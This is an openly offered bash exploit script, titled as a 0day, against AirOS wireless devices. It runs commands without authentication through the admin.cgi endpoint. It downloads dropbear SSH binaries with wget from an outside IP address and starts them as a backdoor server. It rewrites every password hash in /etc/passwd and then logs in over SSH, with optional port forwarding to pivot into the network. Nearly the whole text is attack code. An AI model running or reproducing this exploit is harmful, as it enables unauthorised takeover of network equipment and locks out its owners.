0day AirOS Exploit http://www.blackploit.com/2011/12/0day-en

#!/bin/bash

host=$1
portlocal=$2
hostfinal=$3
portfinal=$4
unset c
usage() {
        # ./airosh IP
        exit 1
}
[[ -z "$host" ]] && c=1
[[ -z "$portlocal" ]] && c=2
[[ -z "$hostfinal" ]] && c=2
[[ -z "$portfinal" ]] && c=2

if [[ $c = 1 ]]; then
        echo "FAILED!"
        usage
else
        echo "OK"
fi
runcmd() { curl -L -H 'Expect: ' -F 'action=cli' -F "exec={ $SYS2$@; } 2>&1" $host/admin.cgi/lol.css 2>/dev/null | grep 'Execute!'  -A 99999 | tail -n +5 | tac | tail -n +7 | tac; }

runcmd 'cd /var/persistent;wget -q http://5.175.223.63/dropbearkey;wget -q http://5.175.223.63/dropbear;chmod +x dropbearkey dropbear;'  >>/tmp/airos.log

runcmd "[[ -e /var/sshd/lol.rsa ]] || ./dropbearkey -t rsa -f /var/sshd/lol.rsa" >>/tmp/airos.log

runcmd "./dropbear -b /var/sshd/motd -r /var/sshd/lol.rsa;" >>/tmp/airos.log

runcmd 'sed -i -e "s/:[^:]*:/:$1$.et5JTtj$6U9j6CSf7g3lNfhFenOX11:/" /etc/passwd;cat /etc/passwd'

echo -en "| >>user: "
read usr
[[ -z "$usr" ]] && usr=admin

if [[ "$c" = 2 ]]; then
        ssh -C "$usr@$host"
else
        ssh -g -L "0.0.0.0:$portlocal:$hostfinal:$portfinal" "$usr@$host"
fi